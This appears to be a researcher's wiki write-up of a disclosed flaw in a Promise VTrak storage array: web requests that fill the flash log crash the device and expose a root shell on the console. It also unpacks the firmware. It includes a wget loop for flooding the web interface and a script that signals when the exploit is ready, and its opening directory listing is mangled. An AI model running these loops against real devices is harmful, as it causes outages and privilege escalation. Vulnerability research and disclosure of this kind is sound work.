| -rw-r--r-- 1 1023 232 948 Jan 1 1970 DiskArraySettingsHelp.html
| |
| -rw-r--r-- 1 1023 232 1456 Jan 1 1970 DiskArraysInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 1162 Jan 1 1970 DiskArrayTransportHelp.html
| |
| -rw-r--r-- 1 1023 232 2488 Jan 1 1970 EmailHelp.html
| |
| -rw-r--r-- 1 1023 232 2102 Jan 1 1970 EnclosureBatteryHelp.html
| |
| -rw-r--r-- 1 1023 232 2265 Jan 1 1970 EnclosureBuzzerHelp.html
| |
| -rw-r--r-- 1 1023 232 877 Jan 1 1970 EnclosureFRUVPDHelp.html
| |
| -rw-r--r-- 1 1023 232 1333 Jan 1 1970 EnclosureInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 4096 Jan 1 1970 EnclosureProblemHelp.html
| |
| -rw-r--r-- 1 1023 232 1394 Jan 1 1970 EnclosureSettingsHelp.html
| |
| -rw-r--r-- 1 1023 232 1324 Jan 1 1970 EnclosuresInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 9318 Jan 1 1970 FaqsHelp.html
| |
| -rw-r--r-- 1 1023 232 1817 Jan 1 1970 FCMgtInitiatorHelp.html
| |
| -rw-r--r-- 1 1023 232 1595 Jan 1 1970 FCMgtLoggedInDeviceHelp.html
| |
| -rw-r--r-- 1 1023 232 1287 Jan 1 1970 FCMgtNodeHelp.html
| |
| -rw-r--r-- 1 1023 232 2983 Jan 1 1970 FCMgtPortHelp.html
| |
| -rw-r--r-- 1 1023 232 2953 Jan 1 1970 FCMgtPortSettingsHelp.html
| |
| -rw-r--r-- 1 1023 232 1933 Jan 1 1970 FCMgtSFPHelp.html
| |
| -rw-r--r-- 1 1023 232 1792 Jan 1 1970 FCMgtStatisticHelp.html
| |
| -rw-r--r-- 1 1023 232 7071 Jan 1 1970 FibreChannelHelp.html
| |
| -rw-r--r-- 1 1023 232 810 Jan 1 1970 FRUHelp.html
| |
| -rw-r--r-- 1 1023 232 353 Jan 1 1970 help.css
| |
| -rw-r--r-- 1 1023 232 580 Jan 1 1970 HelpHelp.html
| |
| drw------- 1 1023 232 56 Jan 1 1970 helpImages
| |
| -rw-r--r-- 1 1023 232 10590 Jan 1 1970 HelpMenu.html
| |
| -rw-r--r-- 1 1023 232 1086 Jan 1 1970 help.php
| |
| -rw-r--r-- 1 1023 232 3105 Jan 1 1970 InitializationHelp.html
| |
| -rw-r--r-- 1 1023 232 2798 Jan 1 1970 iSCSIMgtCHAPHelp.html
| |
| -rw-r--r-- 1 1023 232 3342 Jan 1 1970 iSCSIMgtiSCSINodeHelp.html
| |
| -rw-r--r-- 1 1023 232 2165 Jan 1 1970 iSCSIMgtiSNSHelp.html
| |
| -rw-r--r-- 1 1023 232 952 Jan 1 1970 iSCSIMgtPingHelp.html
| |
| -rw-r--r-- 1 1023 232 1575 Jan 1 1970 iSCSIMgtPortsHelp.html
| |
| -rw-r--r-- 1 1023 232 2604 Jan 1 1970 iSCSIMgtPortStatsHelp.html
| |
| -rw-r--r-- 1 1023 232 1678 Jan 1 1970 iSCSIMgtSessionsHelp.html
| |
| -rw-r--r-- 1 1023 232 1866 Jan 1 1970 iSCSIMgtSLPHelp.html
| |
| -rw-r--r-- 1 1023 232 5813 Jan 1 1970 iSCSISessionHelp.html
| |
| -rw-r--r-- 1 1023 232 728 Jan 1 1970 LanguageHelp.html
| |
| -rw-r--r-- 1 1023 232 3104 Jan 1 1970 LD_DAStatusHelp.html
| |
| -rw-r--r-- 1 1023 232 3449 Jan 1 1970 LDDegradedHelp.html
| |
| -rw-r--r-- 1 1023 232 1914 Jan 1 1970 LDOfflineHelp.html
| |
| -rw-r--r-- 1 1023 232 1433 Jan 1 1970 LogicalDriveBackgroundHelp.html
| |
| -rw-r--r-- 1 1023 232 1769 Jan 1 1970 LogicalDriveCheckTableHelp.html
| |
| -rw-r--r-- 1 1023 232 5127 Jan 1 1970 LogicalDriveInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 5082 Jan 1 1970 LogicalDriveLUNMapHelp.html
| |
| -rw-r--r-- 1 1023 232 1330 Jan 1 1970 LogicalDriveSettingsHelp.html
| |
| -rw-r--r-- 1 1023 232 3508 Jan 1 1970 LogicalDrivesInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 3451 Jan 1 1970 LogicalDriveSummaryInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 682 Jan 1 1970 LogoutHelp.html
| |
| -rw-r--r-- 1 1023 232 2498 Jan 1 1970 MediaPatrolHelp.html
| |
| -rw-r--r-- 1 1023 232 3386 Jan 1 1970 NetSendHelp.html
| |
| -rw-r--r-- 1 1023 232 1291 Jan 1 1970 NetworkMgtEthernetHelp.html
| |
| -rw-r--r-- 1 1023 232 1030 Jan 1 1970 NetworkMgtEthernetPortHelp.html
| |
| -rw-r--r-- 1 1023 232 1252 Jan 1 1970 NetworkMgtISCSIHelp.html
| |
| -rw-r--r-- 1 1023 232 1066 Jan 1 1970 NetworkMgtISCSIPortHelp.html
| |
| -rw-r--r-- 1 1023 232 3602 Jan 1 1970 PDMHelp.html
| |
| -rw-r--r-- 1 1023 232 1403 Jan 1 1970 PhysicalDriveClearHelp.html
| |
| -rw-r--r-- 1 1023 232 1291 Jan 1 1970 PhysicalDriveForceOfflineHelp.html
| |
| -rw-r--r-- 1 1023 232 4495 Jan 1 1970 PhysicalDriveInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 931 Jan 1 1970 PhysicalDriveSettingsHelp.html
| |
| -rw-r--r-- 1 1023 232 1530 Jan 1 1970 PhysicalDrivesInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 1232 Jan 1 1970 PhysicalDrivesSettingsHelp.html
| |
| -rw-r--r-- 1 1023 232 3596 Jan 1 1970 RAID50Axles.html
| |
| -rw-r--r-- 1 1023 232 6279 Jan 1 1970 RAIDconvert.html
| |
| -rw-r--r-- 1 1023 232 7746 Jan 1 1970 RAIDlevels.html
| |
| -rw-r--r-- 1 1023 232 2683 Jan 1 1970 RCHelp.html
| |
| -rw-r--r-- 1 1023 232 4343 Jan 1 1970 RebuildHelp.html
| |
| -rw-r--r-- 1 1023 232 1330 Jan 1 1970 RestoreDefaultsHelp.html
| |
| -rw-r--r-- 1 1023 232 1035 Jan 1 1970 SCSIMgtPortsHelp.html
| |
| -rw-r--r-- 1 1023 232 1602 Jan 1 1970 SCSIMgtPortsSettingsHelp.html
| |
| -rw-r--r-- 1 1023 232 1212 Jan 1 1970 SCSIMgtTargetsHelp.html
| |
| -rw-r--r-- 1 1023 232 3075 Jan 1 1970 SectorSizeHelp.html
| |
| -rw-r--r-- 1 1023 232 2919 Jan 1 1970 ShutdownHelp.html
| |
| -rw-r--r-- 1 1023 232 1364 Jan 1 1970 SLPHelp.html
| |
| -rw-r--r-- 1 1023 232 2472 Jan 1 1970 SNMPHelp.html
| |
| -rw-r--r-- 1 1023 232 1408 Jan 1 1970 SoftwareMgtExportHelp.html
| |
| -rw-r--r-- 1 1023 232 3315 Jan 1 1970 SoftwareMgtFirmwareUpdateHelp.html
| |
| -rw-r--r-- 1 1023 232 1778 Jan 1 1970 SoftwareMgtImportHelp.html
| |
| -rw-r--r-- 1 1023 232 2704 Jan 1 1970 SoftwareMgtServiceHelp.html
| |
| -rw-r--r-- 1 1023 232 2587 Jan 1 1970 SpareDriveInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 1874 Jan 1 1970 SpareDrivesCreateHelp.html
| |
| -rw-r--r-- 1 1023 232 1186 Jan 1 1970 SpareDrivesDeleteHelp.html
| |
| -rw-r--r-- 1 1023 232 1629 Jan 1 1970 SpareDriveSettingsHelp.html
| |
| -rw-r--r-- 1 1023 232 2237 Jan 1 1970 SpareDrivesInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 799 Jan 1 1970 SpareDriveSpareCheckHelp.html
| |
| -rw-r--r-- 1 1023 232 955 Jan 1 1970 SpareDrivesSpareCheckHelp.html
| |
| -rw-r--r-- 1 1023 232 1388 Jan 1 1970 StorageNetworkHelp.html
| |
| -rw-r--r-- 1 1023 232 2080 Jan 1 1970 StorageServicesInitiatorsHelp.html
| |
| -rw-r--r-- 1 1023 232 5466 Jan 1 1970 StorageServicesLUNMapHelp.html
| |
| -rw-r--r-- 1 1023 232 1794 Jan 1 1970 StripeSizeHelp.html
| |
| -rw-r--r-- 1 1023 232 2590 Jan 1 1970 SubsystemBackgroundHelp.html
| |
| -rw-r--r-- 1 1023 232 2429 Jan 1 1970 SubsystemEventHelp.html
| |
| -rw-r--r-- 1 1023 232 1092 Jan 1 1970 SubsystemInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 2584 Jan 1 1970 SubsystemLockHelp.html
| |
| -rw-r--r-- 1 1023 232 2896 Jan 1 1970 SubsystemSchedulerHelp.html
| |
| -rw-r--r-- 1 1023 232 1344 Jan 1 1970 SubsystemSettingsHelp.html
| |
| -rw-r--r-- 1 1023 232 1545 Jan 1 1970 SubsystemsInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 1384 Jan 1 1970 SynchronizationHelp.html
| |
| -rw-r--r-- 1 1023 232 1209 Jan 1 1970 TechBackHelp.html
| |
| -rw-r--r-- 1 1023 232 2027 Jan 1 1970 TelnetHelp.html
| |
| -rw-r--r-- 1 1023 232 1866 Jan 1 1970 TransitionHelp.html
| |
| -rw-r--r-- 1 1023 232 1210 Jan 1 1970 TroubleShootingHelp.html
| |
| -rw-r--r-- 1 1023 232 3432 Jan 1 1970 UiHelp.html
| |
| -rw-r--r-- 1 1023 232 2472 Jan 1 1970 UserMgtCreateHelp.html
| |
| -rw-r--r-- 1 1023 232 907 Jan 1 1970 UserMgtDeleteHelp.html
| |
| -rw-r--r-- 1 1023 232 3137 Jan 1 1970 UserMgtEventSubscriptionHelp.html
| |
| -rw-r--r-- 1 1023 232 1090 Jan 1 1970 UserMgtInfoHelp.html
| |
| -rw-r--r-- 1 1023 232 1073 Jan 1 1970 UserMgtPasswordHelp.html
| |
| -rw-r--r-- 1 1023 232 1290 Jan 1 1970 UserMgtSessionHelp.html
| |
| -rw-r--r-- 1 1023 232 841 Jan 1 1970 UserMgtSettingsHelp.html
| |
| -rw-r--r-- 1 1023 232 796 Jan 1 1970 ViewHelp.html
| |
| -rw-r--r-- 1 1023 232 2385 Jan 1 1970 WebServerHelp.html
| |
| -rw-r--r-- 1 1023 232 897 Jan 1 1970 YellowRedHelp.html
| |
|
| |
|
| part3/php/promise/help/helpImages:
| |
| total 2
| |
| -rwxr--r-- 1 1023 232 535 Jan 1 1970 ball-back.gif
| |
| -rwxr--r-- 1 1023 232 732 Jan 1 1970 help-ball.jpg
| |
|
| |
|
| part3/php/promise/js:
| | == Thanks == |
| total 73
| | * Mathis Schmieder for the ''fsck.cramfs'' tip, i was a bit lost when i discovered the errors in Part 3 |
| -rwxr--r-- 1 1023 232 27101 Jan 1 1970 overlib.js
| | * Joris from Promise Technology, he was the one that eventually understood what i was trying to tell them all the time |
| -rwxr--r-- 1 1023 232 14201 Jan 1 1970 plib.js
| |
| -rwxr--r-- 1 1023 232 5202 Jan 1 1970 ua.js
| |
| -rwxr--r-- 1 1023 232 19329 Jan 1 1970 wz_jsgraphics.js
| |
| -rwxr--r-- 1 1023 232 7373 Jan 1 1970 xmlhttprequest.js
| |
| </pre>
| |
|
| |
|
| ==== part 3 ====
| |
| <pre>
| |
| </pre>
| |
| <pre>
| |
| </pre>
| |
|
| |
|
| ==== part 3 ====
| | EOF |
| <pre>
| |
| </pre>
| |
| <pre>
| |
| </pre>
| |
Template:TOCright
Exploit
I'm using a Promise VTrak M500f storage at work, and every couple of weeks it crashes. Updating to the latest firmware didn't help much.
It always starts with the device's webserver being unresponsive, and not much later the whole device just breaking down.
Usually, when i notice that the device starts to act up again, i just reboot it and it's fine for the next couple of weeks.
To do this, i log in on the serial console and run:
administrator@cli> shutdown -a restart
So the last time this happened, i noticed something is different with the CLI over serial console... it was... way more interesting!
Oh, exploitable!
Here's one of the problem sources: in line 23 and 24 of /islavista/sw/php/promise/language.php, which is included in the code that's executed when you access the device's WebPAM PROe webinterface, PHP is told to get the language of the user's browser from a header that the browser sends on each request.
No problem there, your browser provides this header, so you probably won't ever see any error from this code.
But if you're using a monitoring tool like Nagios, to check if the webinterface is still alive, your Nagios check doesn't send that header and PHP will throw an error of the level E_NOTICE.
$ php -a
Interactive mode enabled
<?php
preg_match('/^([a-z\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches);
$lang=$matches[1];
switch(substr($lang,0,2))
{
case 'en':
$language='en_US';
break;
// [...]
default:
$language='en_US';
break;
}
?>
PHP Notice: Undefined index: HTTP_ACCEPT_LANGUAGE in - on line 2
PHP Notice: Undefined offset: 1 in - on line 3
Of course, being the good developer that you are, you hide those errors, should they ever arise at all, from the user - and only write them to a logfile somewhere on your device's internal flash.
[08-Jul-2011 19:52:24] PHP Notice: Undefined index: HTTP_ACCEPT_LANGUAGE in /islavista/sw/php/promise/language.php on line 23
[08-Jul-2011 19:52:24] PHP Notice: Undefined offset: 1 in /islavista/sw/php/promise/language.php on line 24
[08-Jul-2011 19:52:26] PHP Notice: Undefined index: HTTP_HOST in /islavista/sw/php/promise/index.php on line 182
Being a bit unsure yourself of how good of a developer you really are, you tell PHP in its config file /islavista/conf/sw/php.ini to not only log real errors of the levels E_WARNING or E_ERROR, or like the healthy default recommends, "E_ALL & ~E_NOTICE" (everything except E_NOTICE)... no, you want them all, so you can write impeccable code!
Have you ever wondered why it's called "default" setting? The De-Fault setting? Also known as the "Please don't break anything!" setting? You'll find out soon.
So, your Nagios checks the webserver every 5 minutes, every hour of the day, every day of the week, etc., and every time there are a couple of lines appended to the logfile, because you want to be in control an see each and any issue in you code.
Now what would you think will happen if that logfile gets so big that there is no space left on that flash?
I can tell you what will happen:
islavista> _
When i told Promise about the issue, one of their support engineers had only this to say:
"I just can repeat [to] you one more time, you should not even know the word 'islavista' related to this device."
Okay, that was a lie, it wasn't the only thing he said. He added:
"You need a new controller."
O RLY? I don't think that replacing my hardware will fix an issue in your firmware.
(Speaking of which, i'm still unsure if i should publish the whole conversation via their ticketing system, that will be pretty embarassing for them... they tried to convince me that my hardware is faulty and needs to be replaced. Yeah, right.)
Privilege Escalation
The 3 lines per request equal 354 Bytes of text, and my storage crashed when the logfile was roughly 3.5 MB in size, so in theory ~10.000 requests are all that's needed for this exploit to work its magic.
Nagios checks every 5 minutes, that's 288 requests per day, which means that after ~35 days the log should have filled all available space.
Can we speed this up? Yes, we can. A wget request to the webinterface takes me an average of 6 seconds, so with the following simple script i can get ~14400 requests per day, which means it takes ~17 hours fill all available space.
$ while [ true ]; do wget -O /dev/null "http://192.168.0.2"; done
Check the webinterface from time to time, when you see an PHP error that it couldn't write it's session because /tmp is full, you're golden! Fire up you serial console and enjoy.
You can automate this, too:
$ while [ true ]; do if `lynx --dump "http://192.168.0.2/" | grep -q "tmp"`; then echo "EOF" | mail -s 'Exploit ready!' you@example.com; break; fi; done
Remote Privilege Escalation, too?
Still unconfirmed, but in theory this should also work over Telnet instead of the serial console, provided that Telnet is enabled on the device.
Firmware
Getting Started
Download the most recent firmware, at the time of this writing it was v2.39, and also make sure you have binwalk installed, an incredibly helpful tool when analyzing firmware files:
Analyzing the Firmware file
Use binwalk to look for the addresses of files within the firmware file:
$ binwalk -v iv2p_all_20110303_16mb.img
This gives you a nice table with the decimal offset of each file in the firmware, and also the most likely format of this file:
Scan Time: Aug 03, 2011 @ 20:13:21
Magic File: /etc/binwalk/magic.binwalk
Signatures: 67
Target File: iv2p_all_20110303_16mb.img
MD5 Checksum: b8dad677c907a53ca9b222f2103c13b3
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
18204 0x471C gzip compressed data, from Unix, last modified: Thu Apr 20 05:12:30 2006, max compression
871968 0xD4E20 Linux Compressed ROM filesystem data, little endian size 2584576 version #2 sorted_dirs, CRC 0xeeb623f0, edition 0, 1217 blocks, 7 files
3456544 0x34BE20 Linux Compressed ROM filesystem data, little endian size 3231744 version #2 sorted_dirs, CRC 0xf1e0771a, edition 0, 2870 blocks, 946 files
3528967 0x35D907 bzip2 compressed data
6688288 0x660E20 gzip compressed data, from Unix, last modified: Thu Mar 3 03:51:40 2011, max compression
11309493 0xAC91B5 Linux Compressed ROM filesystem data, little endian size 1277952 version #2 sorted_dirs, CRC 0x477edaab, edition 0, 802 blocks, 142 files
12882033 0xC49071 LZMA compressed data, properties: 0x5D, dictionary size: 335544320 bytes, uncompressed size: 30 bytes
13215338 0xC9A66A LZMA compressed data, properties: 0x85, dictionary size: 740294656 bytes, uncompressed size: 16388 bytes
13216042 0xC9A92A LZMA compressed data, properties: 0x86, dictionary size: 745537536 bytes, uncompressed size: 16388 bytes
13216734 0xC9ABDE LZMA compressed data, properties: 0x89, dictionary size: 747110400 bytes, uncompressed size: 16388 bytes
13219257 0xC9B5B9 LZMA compressed data, properties: 0x5D, dictionary size: 335544320 bytes, uncompressed size: 30 bytes
13220658 0xC9BB32 LZMA compressed data, properties: 0x95, dictionary size: 272629760 bytes, uncompressed size: 16387 bytes
13221334 0xC9BDD6 LZMA compressed data, properties: 0x90, dictionary size: 65536 bytes, uncompressed size: 65536 bytes
13221354 0xC9BDEA LZMA compressed data, properties: 0x90, dictionary size: 65536 bytes, uncompressed size: 65536 bytes
The principle is pretty simple: use dd to read a segment from the firmware (if=), using a blocksize (bs=) of 1, starting (skip=) at the decimal offset of the file you want, with a length (count=) of "the next file's offset minus this file's offset" and write it to an ouput file (of=). It makes it a lot easier if you give the output file the extension of the filetype that binwalk tells you.
Part 1
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=18204 count=853764 of=part1.gz
$ gunzip part1.gz
$ file part1
part1: data
Probably the kernel and initrd?
Part 2
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=871968 count=2584576 of=part2.cramfs
$ mkdir part2
$ mount -o loop parts2.cramfs part2/
$ ls -l part2/
total 4858
-rw-r--r-- 1 root root 18204 Jan 1 1970 iodrv.o
-rw-r--r-- 1 root root 233655 Jan 1 1970 Marvell.o
-rw-r--r-- 1 root root 470713 Jan 1 1970 qla4xxx.o
-rw-r--r-- 1 root root 3193368 Jan 1 1970 raid_core.o
-rw-r--r-- 1 root root 436560 Jan 1 1970 scsi.o
-rw-r--r-- 1 root root 619697 Jan 1 1970 xfc.o
Kernel modules, boooring!
Part 3
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3456544 count=72423 of=part3.cramfs
$ mount -o loop part3.cramfs part3/
$ ls -lR part3/
Full contents of Part 3
The webinterface and some non-standard binaries, so this must be their own code.
When accessing a file you'll get an error, though. Quick check:
$ fsck.cramfs part3.cramfs
fsck.cramfs: file length too short
Damn.
Part 4
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3528967 count=3159321 of=part4.bz2
$ bunzip2 part4.bz2
bunzip2: part4.bz2 is not a bzip2 file.
Hmm, strange.
Part 5
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=6688288 count=4621205 of=part5.gz
$ gunzip part5.gz
$ file part5
part5: Linux rev 1.0 ext2 filesystem data, UUID=1e4f9d2b-b406-4a38-bbf8-8f1fcf52e5c7
So it's a gzip, but that contains an ext2 partition.
$ mv part5 part5.ext2
$ mkdir part5
$ mount -o loop part5.ext2 part5/
$ ls -lR part5/
Full contents of Part 5
BusyBox, libraries, you name it. This must be the base Linux part.
Part 6
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=11309493 count=1572540 of=part6.cramfs
$ mkdir part6/
$ mount -o loop part6.cramfs part6/
$ ls -lR part6/
Full contents of Part 6
fw and sw, this is probably the interesting stuff? But where's the /islavista/conf/sw/php.ini?
Fixing Part 3
Part 3 is a broken CramFS, and Part 4 is a bzip2 file that is not a bzip2 file... smells fishy.
Let's say Part 3 is actually Part 3.1 and Part 4 is Part 3.2:
$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3456544 count=3231744 of=part3.cramfs
$ fsck.cramfs -v part3.cramfs
cramfs endianness is little
part3.cramfs: OK
Bingo!
The Missing Link
There are a lot of strings throughout the fimware that point at 4 MTD blocks which get mounted into the /islavista/conf, /islavista/fw, /islavista/sw and /oem directories.
Finding the contents of those blocks that gets written to the flash is the interesting part...
/dev/mtdblock5 /islavista/fw cramfs suid,dev,exec,auto,nouser,async,ro
/dev/mtdblock6 /islavista/sw cramfs suid,dev,exec,auto,nouser,async,ro
/dev/mtdblock2 /islavista/conf jffs2 defaults
/dev/mtdblock7 /oem cramfs suid,dev,exec,auto,nouser,async,ro
The directory /islavista/flash seems to be the upload destination for firmware updates via the webinterface.
The filesystem in Part 6 gets mounted to /oem.
So where do the juicy bits come from? Let's binwalk part1:
$binwalk -av -x MIPSE part1
binwalk output
We're still looking for 2 CramFS and 1 JFFS2...
Todo
- Find the page that will throw the most errors, to speed up filling the flash.
- Privilege Escalation is already nice, how about Remote Privilege Escalation? Confirm that this also works when using Telnet, not only serial console!
- Where's that php.ini hidden in the firmware? Can't be found in any of the firmware parts, yet - maybe generated at runtime? Hmm, hmm, hmm.
- Analyze the firmware of different models/series. Code recycling FTW!
Thanks
- Mathis Schmieder for the fsck.cramfs tip, i was a bit lost when i discovered the errors in Part 3
- Joris from Promise Technology, he was the one that eventually understood what i was trying to tell them all the time
EOF